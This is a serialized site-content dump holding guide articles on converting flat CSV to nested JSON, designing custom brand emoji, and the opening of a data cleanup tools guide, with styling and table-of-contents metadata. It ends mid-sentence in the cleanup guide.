.s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":82552},[82553,82554,82555,82556,82557,82558,82559,82560,82561],{"id":81251,"depth":337,"text":81252},{"id":81272,"depth":337,"text":81273},{"id":81463,"depth":337,"text":81464},{"id":81750,"depth":337,"text":81751},{"id":82115,"depth":337,"text":82116},{"id":82406,"depth":337,"text":82407},{"id":10392,"depth":337,"text":10393},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Convert CSV data to JSON for REST API consumption. Covers payload formatting, type coercion, nested structuring, and common API pitfalls.",{"immutable":363},"\u002Fguides\u002Fcsv-to-json-api-integration",{"title":81246,"description":82562},"guides\u002Fcsv-to-json-api-integration","PLyNTvaG7QyqX8nKGPSK_LBVYO9ujkpXHaHXvgxhoZs",{"id":82569,"title":82570,"body":82571,"date":2070,"description":83236,"extension":361,"meta":83237,"navigation":363,"path":83238,"readingTime":1710,"seo":83239,"stem":83240,"__hash__":83241},"guides\u002Fguides\u002Fcsv-to-nested-json.md","Converting Flat CSV to Nested JSON",{"type":8,"value":82572,"toc":83221},[82573,82577,82580,82583,82587,82590,82610,82613,82711,82720,82724,82727,82796,82799,82803,82806,82831,82834,82994,83008,83012,83016,83019,83034,83037,83041,83044,83050,83053,83057,83063,83107,83111,83114,83152,83155,83157,83189,83191,83211,83213,83218],[11,82574,82576],{"id":82575},"why-nested-json-matters","Why Nested JSON Matters",[16,82578,82579],{},"CSV files are flat — every row stands alone with no inherent parent-child relationships. But most APIs and NoSQL databases expect hierarchical data where objects contain nested objects or arrays. A user record with address, orders, and preferences is a single nested document in MongoDB, but three separate CSV tables in a spreadsheet.",[16,82581,82582],{},"Converting flat CSV to nested JSON bridges this gap, letting you move data from spreadsheets and legacy exports into modern APIs and databases without manual restructuring.",[11,82584,82586],{"id":82585},"the-structural-gap","The Structural Gap",[16,82588,82589],{},"Consider a flat CSV representing user data with embedded addresses:",[135,82591,82593],{"className":81279,"code":82592,"language":81115,"meta":141,"style":141},"id,name,street,city,zip,country\n1,Alice,123 Main St,Springfield,62704,US\n2,Bob,456 Oak Ave,Portland,97201,US\n",[143,82594,82595,82600,82605],{"__ignoreMap":141},[1560,82596,82597],{"class":1562,"line":1563},[1560,82598,82599],{},"id,name,street,city,zip,country\n",[1560,82601,82602],{"class":1562,"line":337},[1560,82603,82604],{},"1,Alice,123 Main St,Springfield,62704,US\n",[1560,82606,82607],{"class":1562,"line":343},[1560,82608,82609],{},"2,Bob,456 Oak Ave,Portland,97201,US\n",[16,82611,82612],{},"The target JSON nests the address inside each user:",[135,82614,82616],{"className":23484,"code":82615,"language":23486,"meta":141,"style":141},"[\n  {\n    \"id\": 1,\n    \"name\": \"Alice\",\n    \"address\": {\n      \"street\": \"123 Main St\",\n      \"city\": \"Springfield\",\n      \"zip\": \"62704\",\n      \"country\": \"US\"\n    }\n  }\n]\n",[143,82617,82618,82622,82626,82637,82647,82654,82665,82677,82689,82699,82703,82707],{"__ignoreMap":141},[1560,82619,82620],{"class":1562,"line":1563},[1560,82621,80600],{"class":1570},[1560,82623,82624],{"class":1562,"line":337},[1560,82625,80605],{"class":1570},[1560,82627,82628,82631,82633,82635],{"class":1562,"line":343},[1560,82629,82630],{"class":1576},"    \"id\"",[1560,82632,1663],{"class":1570},[1560,82634,3585],{"class":1576},[1560,82636,11943],{"class":1570},[1560,82638,82639,82641,82643,82645],{"class":1562,"line":365},[1560,82640,37103],{"class":1576},[1560,82642,1663],{"class":1570},[1560,82644,23503],{"class":5634},[1560,82646,11943],{"class":1570},[1560,82648,82649,82652],{"class":1562,"line":889},[1560,82650,82651],{"class":1576},"    \"address\"",[1560,82653,37098],{"class":1570},[1560,82655,82656,82659,82661,82663],{"class":1562,"line":1710},[1560,82657,82658],{"class":1576},"      \"street\"",[1560,82660,1663],{"class":1570},[1560,82662,81807],{"class":5634},[1560,82664,11943],{"class":1570},[1560,82666,82667,82670,82672,82675],{"class":1562,"line":1717},[1560,82668,82669],{"class":1576},"      \"city\"",[1560,82671,1663],{"class":1570},[1560,82673,82674],{"class":5634},"\"Springfield\"",[1560,82676,11943],{"class":1570},[1560,82678,82679,82682,82684,82687],{"class":1562,"line":1747},[1560,82680,82681],{"class":1576},"      \"zip\"",[1560,82683,1663],{"class":1570},[1560,82685,82686],{"class":5634},"\"62704\"",[1560,82688,11943],{"class":1570},[1560,82690,82691,82694,82696],{"class":1562,"line":2507},[1560,82692,82693],{"class":1576},"      \"country\"",[1560,82695,1663],{"class":1570},[1560,82697,82698],{"class":5634},"\"US\"\n",[1560,82700,82701],{"class":1562,"line":2524},[1560,82702,11612],{"class":1570},[1560,82704,82705],{"class":1562,"line":2529},[1560,82706,4959],{"class":1570},[1560,82708,82709],{"class":1562,"line":2534},[1560,82710,37203],{"class":1570},[16,82712,82713,82714,1459,82716,82719],{},"This nesting eliminates redundant prefixes (",[143,82715,81897],{},[143,82717,82718],{},"address.city",") and groups related fields under a common parent.",[11,82721,82723],{"id":82722},"column-naming-conventions","Column Naming Conventions",[16,82725,82726],{},"The most practical approach uses dot notation in column headers to define nesting depth:",[193,82728,82729,82739],{},[196,82730,82731],{},[199,82732,82733,82736],{},[202,82734,82735],{},"CSV Column",[202,82737,82738],{},"JSON Path",[211,82740,82741,82752,82762,82772,82784],{},[199,82742,82743,82748],{},[216,82744,82745],{},[143,82746,82747],{},"name",[216,82749,82750],{},[143,82751,82747],{},[199,82753,82754,82758],{},[216,82755,82756],{},[143,82757,81897],{},[216,82759,82760],{},[143,82761,81897],{},[199,82763,82764,82768],{},[216,82765,82766],{},[143,82767,82718],{},[216,82769,82770],{},[143,82771,82718],{},[199,82773,82774,82779],{},[216,82775,82776],{},[143,82777,82778],{},"orders.0.id",[216,82780,82781],{},[143,82782,82783],{},"orders[0].id",[199,82785,82786,82791],{},[216,82787,82788],{},[143,82789,82790],{},"orders.0.total",[216,82792,82793],{},[143,82794,82795],{},"orders[0].total",[16,82797,82798],{},"A conversion tool parses the dot-separated keys and builds nested objects accordingly. Numeric segments indicate array indices.",[11,82800,82802],{"id":82801},"handling-one-to-many-relationships","Handling One-to-Many Relationships",[16,82804,82805],{},"Flat CSV represents one-to-many relationships through repeated parent rows:",[135,82807,82809],{"className":81279,"code":82808,"language":81115,"meta":141,"style":141},"user_id,user_name,order_id,order_total\n1,Alice,101,59.99\n1,Alice,102,24.50\n2,Bob,103,112.00\n",[143,82810,82811,82816,82821,82826],{"__ignoreMap":141},[1560,82812,82813],{"class":1562,"line":1563},[1560,82814,82815],{},"user_id,user_name,order_id,order_total\n",[1560,82817,82818],{"class":1562,"line":337},[1560,82819,82820],{},"1,Alice,101,59.99\n",[1560,82822,82823],{"class":1562,"line":343},[1560,82824,82825],{},"1,Alice,102,24.50\n",[1560,82827,82828],{"class":1562,"line":365},[1560,82829,82830],{},"2,Bob,103,112.00\n",[16,82832,82833],{},"The desired output groups orders under each user:",[135,82835,82837],{"className":23484,"code":82836,"language":23486,"meta":141,"style":141},"[\n  {\n    \"user_id\": 1,\n    \"user_name\": \"Alice\",\n    \"orders\": [\n      { \"order_id\": 101, \"order_total\": 59.99 },\n      { \"order_id\": 102, \"order_total\": 24.50 }\n    ]\n  },\n  {\n    \"user_id\": 2,\n    \"user_name\": \"Bob\",\n    \"orders\": [\n      { \"order_id\": 103, \"order_total\": 112.00 }\n    ]\n  }\n]\n",[143,82838,82839,82843,82847,82858,82869,82877,82901,82922,82926,82930,82934,82944,82954,82960,82982,82986,82990],{"__ignoreMap":141},[1560,82840,82841],{"class":1562,"line":1563},[1560,82842,80600],{"class":1570},[1560,82844,82845],{"class":1562,"line":337},[1560,82846,80605],{"class":1570},[1560,82848,82849,82852,82854,82856],{"class":1562,"line":343},[1560,82850,82851],{"class":1576},"    \"user_id\"",[1560,82853,1663],{"class":1570},[1560,82855,3585],{"class":1576},[1560,82857,11943],{"class":1570},[1560,82859,82860,82863,82865,82867],{"class":1562,"line":365},[1560,82861,82862],{"class":1576},"    \"user_name\"",[1560,82864,1663],{"class":1570},[1560,82866,23503],{"class":5634},[1560,82868,11943],{"class":1570},[1560,82870,82871,82874],{"class":1562,"line":889},[1560,82872,82873],{"class":1576},"    \"orders\"",[1560,82875,82876],{"class":1570},": [\n",[1560,82878,82879,82882,82885,82887,82889,82891,82894,82896,82899],{"class":1562,"line":1710},[1560,82880,82881],{"class":1570},"      { ",[1560,82883,82884],{"class":1576},"\"order_id\"",[1560,82886,1663],{"class":1570},[1560,82888,41973],{"class":1576},[1560,82890,1459],{"class":1570},[1560,82892,82893],{"class":1576},"\"order_total\"",[1560,82895,1663],{"class":1570},[1560,82897,82898],{"class":1576},"59.99",[1560,82900,21223],{"class":1570},[1560,82902,82903,82905,82907,82909,82911,82913,82915,82917,82920],{"class":1562,"line":1717},[1560,82904,82881],{"class":1570},[1560,82906,82884],{"class":1576},[1560,82908,1663],{"class":1570},[1560,82910,5311],{"class":1576},[1560,82912,1459],{"class":1570},[1560,82914,82893],{"class":1576},[1560,82916,1663],{"class":1570},[1560,82918,82919],{"class":1576},"24.50",[1560,82921,27879],{"class":1570},[1560,82923,82924],{"class":1562,"line":1747},[1560,82925,50049],{"class":1570},[1560,82927,82928],{"class":1562,"line":2507},[1560,82929,11862],{"class":1570},[1560,82931,82932],{"class":1562,"line":2524},[1560,82933,80605],{"class":1570},[1560,82935,82936,82938,82940,82942],{"class":1562,"line":2529},[1560,82937,82851],{"class":1576},[1560,82939,1663],{"class":1570},[1560,82941,10099],{"class":1576},[1560,82943,11943],{"class":1570},[1560,82945,82946,82948,82950,82952],{"class":1562,"line":2534},[1560,82947,82862],{"class":1576},[1560,82949,1663],{"class":1570},[1560,82951,80653],{"class":5634},[1560,82953,11943],{"class":1570},[1560,82955,82956,82958],{"class":1562,"line":2542},[1560,82957,82873],{"class":1576},[1560,82959,82876],{"class":1570},[1560,82961,82962,82964,82966,82968,82971,82973,82975,82977,82980],{"class":1562,"line":2558},[1560,82963,82881],{"class":1570},[1560,82965,82884],{"class":1576},[1560,82967,1663],{"class":1570},[1560,82969,82970],{"class":1576},"103",[1560,82972,1459],{"class":1570},[1560,82974,82893],{"class":1576},[1560,82976,1663],{"class":1570},[1560,82978,82979],{"class":1576},"112.00",[1560,82981,27879],{"class":1570},[1560,82983,82984],{"class":1562,"line":2570},[1560,82985,50049],{"class":1570},[1560,82987,82988],{"class":1562,"line":6638},[1560,82989,4959],{"class":1570},[1560,82991,82992],{"class":1562,"line":11615},[1560,82993,37203],{"class":1570},[16,82995,82996,82997,83000,83001,1459,83004,83007],{},"This requires grouping rows by a parent key (",[143,82998,82999],{},"user_id",") and collecting child fields (",[143,83002,83003],{},"order_id",[143,83005,83006],{},"order_total",") into an array under each group.",[11,83009,83011],{"id":83010},"conversion-strategies","Conversion Strategies",[33,83013,83015],{"id":83014},"dot-notation-headers","Dot-Notation Headers",[16,83017,83018],{},"The simplest method — rename CSV columns using dots and let a converter build the hierarchy:",[135,83020,83022],{"className":81279,"code":83021,"language":81115,"meta":141,"style":141},"id,name,address.street,address.city,address.zip\n1,Alice,123 Main St,Springfield,62704\n",[143,83023,83024,83029],{"__ignoreMap":141},[1560,83025,83026],{"class":1562,"line":1563},[1560,83027,83028],{},"id,name,address.street,address.city,address.zip\n",[1560,83030,83031],{"class":1562,"line":337},[1560,83032,83033],{},"1,Alice,123 Main St,Springfield,62704\n",[16,83035,83036],{},"Works well for shallow nesting (1–2 levels). Deep nesting with arrays becomes unreadable.",[33,83038,83040],{"id":83039},"multi-table-join","Multi-Table Join",[16,83042,83043],{},"Maintain separate CSV files for each entity and join them during conversion:",[135,83045,83048],{"className":83046,"code":83047,"language":140},[138],"users.csv     → id, name, email\norders.csv    → id, user_id, total\nitems.csv     → id, order_id, product, qty\n",[143,83049,83047],{"__ignoreMap":141},[16,83051,83052],{},"The converter reads each file, matches foreign keys, and assembles the hierarchy. This is cleaner for complex relationships but requires more setup.",[33,83054,83056],{"id":83055},"pivot-columns","Pivot Columns",[16,83058,83059,83060,83062],{},"Use a pivot column to signal when a new child record begins. A change in the pivot value (",[143,83061,82999],{},") tells the converter to start a new parent object.",[193,83064,83065,83076],{},[196,83066,83067],{},[199,83068,83069,83071,83073],{},[202,83070,39330],{},[202,83072,489],{},[202,83074,83075],{},"Complexity",[211,83077,83078,83087,83097],{},[199,83079,83080,83082,83085],{},[216,83081,80943],{},[216,83083,83084],{},"Shallow nesting, 1–2 levels",[216,83086,15466],{},[199,83088,83089,83092,83095],{},[216,83090,83091],{},"Multi-table join",[216,83093,83094],{},"Complex relationships, multiple entities",[216,83096,7639],{},[199,83098,83099,83102,83105],{},[216,83100,83101],{},"Pivot columns",[216,83103,83104],{},"One-to-many with repeated parents",[216,83106,15466],{},[11,83108,83110],{"id":83109},"data-type-considerations","Data Type Considerations",[16,83112,83113],{},"CSV treats everything as strings. During conversion, apply type casting:",[41,83115,83116,83126,83135,83143],{},[44,83117,83118,1663,83121,52609,83124],{},[47,83119,83120],{},"Numbers",[143,83122,83123],{},"\"59.99\"",[143,83125,82898],{},[44,83127,83128,1663,83131,52609,83133],{},[47,83129,83130],{},"Booleans",[143,83132,81517],{},[143,83134,20533],{},[44,83136,83137,83140,83141],{},[47,83138,83139],{},"Nulls",": empty cells → ",[143,83142,80702],{},[44,83144,83145,1663,83148,83151],{},[47,83146,83147],{},"Dates",[143,83149,83150],{},"\"2026-05-28\""," → ISO 8601 string or Date object",[16,83153,83154],{},"Without type casting, all JSON values are strings, which breaks API schemas and database validators.",[11,83156,10393],{"id":10392},[41,83158,83159,83171,83183],{},[44,83160,83161,83164,83165,1856,83167,83170],{},[47,83162,83163],{},"Inconsistent nesting depth"," — mixing ",[143,83166,81897],{},[143,83168,83169],{},"address"," as a column header creates ambiguity. Choose one pattern and stick to it.",[44,83172,83173,23567,83176,83179,83180,83182],{},[47,83174,83175],{},"Missing array indices",[143,83177,83178],{},"orders.id"," without an index implies a single object, while ",[143,83181,82778],{}," explicitly creates an array. Be deliberate about which you need.",[44,83184,83185,83188],{},[47,83186,83187],{},"Duplicate parent data"," — in one-to-many CSV, parent columns repeat across rows. The converter must deduplicate parent fields during grouping.",[11,83190,1355],{"id":1354},[41,83192,83193,83196,83199,83202,83205,83208],{},[44,83194,83195],{},"Flat CSV lacks hierarchy; nested JSON groups related data under common parents.",[44,83197,83198],{},"Dot-notation headers are the simplest way to define nesting structure in CSV.",[44,83200,83201],{},"One-to-many relationships require grouping rows by a parent key.",[44,83203,83204],{},"Always cast data types during conversion — CSV is all strings.",[44,83206,83207],{},"Choose a consistent strategy: dot notation for shallow nesting, multi-table for complex relationships.",[44,83209,83210],{},"Deduplicate parent fields when converting repeated rows into grouped arrays.",[11,83212,286],{"id":285},[16,83214,83215,83216,468],{},"Convert your CSV data to nested JSON instantly with the ",[98,83217,81194],{"href":81193},[2043,83219,83220],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":83222},[83223,83224,83225,83226,83227,83232,83233,83234,83235],{"id":82575,"depth":337,"text":82576},{"id":82585,"depth":337,"text":82586},{"id":82722,"depth":337,"text":82723},{"id":82801,"depth":337,"text":82802},{"id":83010,"depth":337,"text":83011,"children":83228},[83229,83230,83231],{"id":83014,"depth":343,"text":83015},{"id":83039,"depth":343,"text":83040},{"id":83055,"depth":343,"text":83056},{"id":83109,"depth":337,"text":83110},{"id":10392,"depth":337,"text":10393},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Transform flat spreadsheet data into hierarchical JSON structures for APIs and NoSQL databases.",{"immutable":363},"\u002Fguides\u002Fcsv-to-nested-json",{"title":82570,"description":83236},"guides\u002Fcsv-to-nested-json","cuo-nvGxsP8_vXIS05idFWicPcuoJvGDSVTYQAT71eg",{"id":83243,"title":83244,"body":83245,"date":2070,"description":83646,"extension":361,"meta":83647,"navigation":363,"path":83648,"readingTime":1710,"seo":83649,"stem":83650,"__hash__":83651},"guides\u002Fguides\u002Fcustom-emoji-brand-identity.md","Custom Emoji for Brand Identity: Design and Strategy",{"type":8,"value":83246,"toc":83636},[83247,83250,83254,83257,83283,83286,83290,83293,83298,83349,83354,83386,83390,83393,83398,83415,83420,83434,83439,83454,83458,83461,83487,83490,83549,83553,83556,83582,83585,83587,83604,83606,83626,83628],[16,83248,83249],{},"Custom emoji have moved beyond Slack workspaces and Discord servers. Brands now use them in marketing campaigns, product interfaces, email headers, and packaging. A well-designed custom emoji set makes your brand instantly recognizable in a sea of standard Unicode symbols. This guide covers design principles, technical formats, and strategic deployment.",[11,83251,83253],{"id":83252},"why-brands-create-custom-emoji","Why Brands Create Custom Emoji",[16,83255,83256],{},"Standard Unicode emoji serve general communication. Custom emoji serve your brand specifically. Here is what they accomplish:",[41,83258,83259,83265,83271,83277],{},[44,83260,83261,83264],{},[47,83262,83263],{},"Visual consistency"," — your brand colors, shapes, and iconography unify every touchpoint",[44,83266,83267,83270],{},[47,83268,83269],{},"Tone differentiation"," — a custom emoji set reflects personality that generic symbols cannot capture",[44,83272,83273,83276],{},[47,83274,83275],{},"Community culture"," — shared custom emoji become inside references that bond community members",[44,83278,83279,83282],{},[47,83280,83281],{},"Platform lock-in"," — in messaging apps, custom emoji encourage users to stay within your ecosystem",[16,83284,83285],{},"Consider how brands use them today: Netflix creates emoji for each original series, Shopify uses custom emoji in its merchant dashboard, and Notion's emoji set is integral to its product identity.",[11,83287,83289],{"id":83288},"designing-custom-emoji","Designing Custom Emoji",[16,83291,83292],{},"Custom emoji design follows different rules than standard icon design because emoji are used at very small sizes and in text contexts.",[16,83294,83295],{},[47,83296,83297],{},"Technical specifications:",[193,83299,83300,83308],{},[196,83301,83302],{},[199,83303,83304,83306],{},[202,83305,14482],{},[202,83307,49059],{},[211,83309,83310,83318,83325,83333,83341],{},[199,83311,83312,83315],{},[216,83313,83314],{},"Canvas size",[216,83316,83317],{},"128×128 px (source), exported at 32\u002F64\u002F128 px",[199,83319,83320,83322],{},[216,83321,13018],{},[216,83323,83324],{},"SVG (vector) for editing; PNG (raster) for deployment",[199,83326,83327,83330],{},[216,83328,83329],{},"Color model",[216,83331,83332],{},"sRGB; avoid transparency unless the platform supports it",[199,83334,83335,83338],{},[216,83336,83337],{},"Outline",[216,83339,83340],{},"1–2 px dark outline prevents emoji from disappearing on light\u002Fdark backgrounds",[199,83342,83343,83346],{},[216,83344,83345],{},"Style consistency",[216,83347,83348],{},"Match line weight, corner radius, and shading across the entire set",[16,83350,83351],{},[47,83352,83353],{},"Design principles:",[77,83355,83356,83362,83368,83374,83380],{},[44,83357,83358,83361],{},[47,83359,83360],{},"Readability at 16 px"," — if the emoji is not recognizable at chat size, redesign it",[44,83363,83364,83367],{},[47,83365,83366],{},"Outline for contrast"," — a subtle dark stroke keeps emoji visible on any background color",[44,83369,83370,83373],{},[47,83371,83372],{},"Limit color palette"," — use 3–5 colors per emoji to maintain cohesion across the set",[44,83375,83376,83379],{},[47,83377,83378],{},"Avoid text inside emoji"," — words become illegible at small sizes and do not translate across languages",[44,83381,83382,83385],{},[47,83383,83384],{},"Test on both themes"," — check visibility on light and dark backgrounds",[11,83387,83389],{"id":83388},"emoji-sets-for-different-platforms","Emoji Sets for Different Platforms",[16,83391,83392],{},"Each platform has different technical requirements for custom emoji:",[16,83394,83395],{},[47,83396,83397],{},"Slack:",[41,83399,83400,83403,83406,83412],{},[44,83401,83402],{},"Upload as PNG or GIF (animated)",[44,83404,83405],{},"Maximum 128×128 px, 64 KB per file",[44,83407,83408,83409],{},"Name becomes the shortcode: ",[143,83410,83411],{},":brand-logo:",[44,83413,83414],{},"Workspace admins can restrict who adds custom emoji",[16,83416,83417],{},[47,83418,83419],{},"Discord:",[41,83421,83422,83425,83428,83431],{},[44,83423,83424],{},"Upload as PNG, GIF, or APNG (animated)",[44,83426,83427],{},"Maximum 128×128 px, 256 KB per file",[44,83429,83430],{},"Nitro subscribers can use custom emoji across servers",[44,83432,83433],{},"Animated emoji require Nitro for other users to see them",[16,83435,83436],{},[47,83437,83438],{},"Websites and apps:",[41,83440,83441,83444,83451],{},[44,83442,83443],{},"Serve as SVG or inline SVG for crisp rendering at any size",[44,83445,83446,83447,83450],{},"Use CSS ",[143,83448,83449],{},"height: 1.2em; width: 1.2em"," to match surrounding text height",[44,83452,83453],{},"Consider Twemoji or custom sprite sheets for performance with large sets",[11,83455,83457],{"id":83456},"custom-emoji-in-marketing","Custom Emoji in Marketing",[16,83459,83460],{},"Custom emoji amplify brand campaigns when used strategically:",[41,83462,83463,83469,83475,83481],{},[44,83464,83465,83468],{},[47,83466,83467],{},"Social media hashtags"," — create a branded emoji that appears with your hashtag (Twitter\u002FX custom hashtag emoji)",[44,83470,83471,83474],{},[47,83472,83473],{},"Email subject lines"," — a branded emoji increases open rates by 3–5% on average",[44,83476,83477,83480],{},[47,83478,83479],{},"Push notifications"," — custom icons replace generic app icons to reinforce brand recognition",[44,83482,83483,83486],{},[47,83484,83485],{},"Packaging and print"," — extend digital emoji into physical products, stickers, and QR code art",[16,83488,83489],{},"Measuring impact:",[193,83491,83492,83503],{},[196,83493,83494],{},[199,83495,83496,83498,83500],{},[202,83497,15609],{},[202,83499,751],{},[202,83501,83502],{},"What It Tells You",[211,83504,83505,83516,83527,83538],{},[199,83506,83507,83510,83513],{},[216,83508,83509],{},"Emoji usage frequency",[216,83511,83512],{},"Slack analytics",[216,83514,83515],{},"Which branded emoji are adopted most",[199,83517,83518,83521,83524],{},[216,83519,83520],{},"Social engagement",[216,83522,83523],{},"Platform insights",[216,83525,83526],{},"Whether branded emoji drive more interactions",[199,83528,83529,83532,83535],{},[216,83530,83531],{},"Email open rates",[216,83533,83534],{},"ESP analytics",[216,83536,83537],{},"Subject line emoji performance vs. plain text",[199,83539,83540,83543,83546],{},[216,83541,83542],{},"Brand recall",[216,83544,83545],{},"User surveys",[216,83547,83548],{},"Whether custom emoji improve recognition",[11,83550,83552],{"id":83551},"legal-considerations","Legal Considerations",[16,83554,83555],{},"Custom emoji are creative assets with legal implications:",[41,83557,83558,83564,83570,83576],{},[44,83559,83560,83563],{},[47,83561,83562],{},"Copyright"," — original emoji designs are copyrightable; document your design process",[44,83565,83566,83569],{},[47,83567,83568],{},"Trademark"," — emoji representing your logo or brand marks can be registered",[44,83571,83572,83575],{},[47,83573,83574],{},"Platform terms"," — Slack and Discord grant them license to display your uploaded emoji",[44,83577,83578,83581],{},[47,83579,83580],{},"Derivative works"," — modifying existing emoji (Apple, Google) creates legal risk; design from scratch",[16,83583,83584],{},"Always retain source files (SVG, Figma) and document creation dates. If you work with freelance designers, ensure the contract assigns IP rights to your company.",[11,83586,1355],{"id":1354},[41,83588,83589,83592,83595,83598,83601],{},[44,83590,83591],{},"Custom emoji create visual consistency, reinforce brand tone, and build community culture",[44,83593,83594],{},"Design for 16 px readability — if it is not recognizable at chat size, redesign it",[44,83596,83597],{},"Each platform (Slack, Discord, websites) has different upload specs and format requirements",[44,83599,83600],{},"Use custom emoji in email subject lines, push notifications, and social campaigns for measurable impact",[44,83602,83603],{},"Treat custom emoji as intellectual property — retain source files and secure IP rights",[11,83605,321],{"id":320},[41,83607,83608,83614,83620],{},[44,83609,83610],{},[98,83611,83613],{"href":83612},"\u002Fguides\u002Femoji-guide","Emoji Guide: History, Categories, and How to Use Them",[44,83615,83616],{},[98,83617,83619],{"href":83618},"\u002Fguides\u002Femoji-unicode-reference","Emoji Unicode Reference: Shortcodes, Modifiers, and Sequences",[44,83621,83622],{},[98,83623,83625],{"href":83624},"\u002Fguides\u002Femoji-in-web-development","Emoji in Web Development: Accessibility, Rendering, and Performance",[11,83627,286],{"id":285},[16,83629,83630,83631,83635],{},"Find inspiration and reference emoji for your custom designs with our free ",[98,83632,83634],{"href":83633},"\u002Ftools\u002Femoji-picker","Emoji Picker",". Browse by category, inspect Unicode details, and copy emoji to use in your design workflow.",{"title":141,"searchDepth":337,"depth":337,"links":83637},[83638,83639,83640,83641,83642,83643,83644,83645],{"id":83252,"depth":337,"text":83253},{"id":83288,"depth":337,"text":83289},{"id":83388,"depth":337,"text":83389},{"id":83456,"depth":337,"text":83457},{"id":83551,"depth":337,"text":83552},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how custom emoji strengthen brand identity — from designing branded emoji sets to using them in messaging, social media, and product UI.",{"immutable":363},"\u002Fguides\u002Fcustom-emoji-brand-identity",{"title":83244,"description":83646},"guides\u002Fcustom-emoji-brand-identity","WxVyMSkHY2GOBX57GKzG4TiZRx77Salhn_JtfG24nZw",{"id":83653,"title":83654,"body":83655,"date":2070,"description":83990,"extension":361,"meta":83991,"navigation":363,"path":6357,"readingTime":1717,"seo":83994,"stem":83995,"__hash__":83996},"guides\u002Fguides\u002Fdata-cleanup-tools.md","Data Cleanup Tools: Essential Utilities for Clean Data",{"type":8,"value":83656,"toc":83978},[83657,83661,83664,83667,83671,83674,83680,83686,83711,83726,83730,83733,83739,83745,83751,83757,83763,83767,83770,83773,83776,83779,83796,83799,83803,83806,83820,83823,83854,83857,83861,83864,83874,83880,83886,83892,83895,83899,83902,83928,83931,83933,83953,83955,83961,83963],[11,83658,83660],{"id":83659},"why-data-cleanup-matters","Why Data Cleanup Matters",[16,83662,83663],{},"Raw data is rarely clean. Export a spreadsheet, pull a database dump, or copy a report from a web page — you will find duplicates, blank rows, inconsistent formatting, and encoding artifacts. Working with dirty data produces wrong results. Decisions based on duplicate entries double-count revenue. Blank rows break import scripts. Encoding errors turn names into gibberish.",[16,83665,83666],{},"Data cleanup is the unglamorous step between \"I have data\" and \"I can use data.\" Free online tools make it fast — no programming required.",[11,83668,83670],{"id":83669},"four-common-data-quality-problems","Four Common Data Quality Problems",[16,83672,83673],{},"Most dirty data falls into one of four categories.",[16,83675,83676,83679],{},[47,83677,83678],{},"Duplicates."," The same record appears multiple times. Common causes include merged spreadsheets, double-pasted content, and database export glitches. Duplicates inflate counts and distort summaries.",[16,83681,83682,83685],{},[47,83683,83684],{},"Blank lines and empty cells."," Extra whitespace from copy-paste, trailing newlines from exports, or genuinely missing values. Blank lines break line-by-line parsers and make lists harder to scan.",[16,83687,83688,83691,83692,23755,83695,1459,83698,23755,83701,1459,83704,23755,83707,83710],{},[47,83689,83690],{},"Inconsistent formatting."," The same value appears in different forms: ",[143,83693,83694],{},"NY",[143,83696,83697],{},"New York",[143,83699,83700],{},"2026-01-15",[143,83702,83703],{},"01\u002F15\u002F2026",[143,83705,83706],{},"john@example.com",[143,83708,83709],{},"John@Example.COM",". Inconsistent formatting prevents accurate grouping and matching.",[16,83712,83713,83716,83717,1459,83720,1877,83723,83725],{},[47,83714,83715],{},"Encoding problems."," Characters rendered as ",[143,83718,83719],{},"â€\"",[143,83721,83722],{},"Ã©",[143,83724,33994],{}," usually indicate a UTF-8 file opened as Latin-1 or vice versa. These artifacts make text unreadable and break string comparisons.",[11,83727,83729],{"id":83728},"online-data-cleanup-tools-by-category","Online Data Cleanup Tools by Category",[16,83731,83732],{},"Free browser-based tools handle most cleanup tasks without installing anything.",[16,83734,83735,83738],{},[47,83736,83737],{},"List sorters."," Sort lines alphabetically, numerically, by length, or randomly. Most include built-in deduplication and blank-line removal. Start here for any line-based data — names, emails, IDs, URLs.",[16,83740,83741,83744],{},[47,83742,83743],{},"Text formatters."," Convert case (UPPERCASE, lowercase, Title Case), trim trailing whitespace, and normalize indentation. Useful for standardizing labels, headings, and identifiers.",[16,83746,83747,83750],{},[47,83748,83749],{},"Find-and-replace tools."," Search for patterns — literal text or regular expressions — and replace them across an entire dataset. Essential for normalizing delimiters (commas to tabs), fixing date formats, and stripping prefixes.",[16,83752,83753,83756],{},[47,83754,83755],{},"Encoding converters."," Re-encode text from Latin-1 to UTF-8, or verify that a file's declared encoding matches its actual bytes. Prevents the garbled-character problem.",[16,83758,83759,83762],{},[47,83760,83761],{},"Diff checkers."," Compare two datasets line by line to spot what changed. Useful after cleanup to verify that you removed only what you intended.",[11,83764,83766],{"id":83765},"sort-and-deduplicate-workflow","Sort and Deduplicate Workflow",[16,83768,83769],{},"The most common cleanup pattern is sort, then deduplicate. Here is why the order matters.",[16,83771,83772],{},"Deduplication works by comparing each line to the lines around it. If duplicates are scattered across an unsorted list, a simple adjacent-comparison algorithm misses them. You would need a full cross-check of every line against every other line — O(n²) time.",[16,83774,83775],{},"Sorting first groups identical lines together. Then deduplication only needs to check each line against its immediate neighbor — O(n log n) for the sort plus O(n) for the dedup 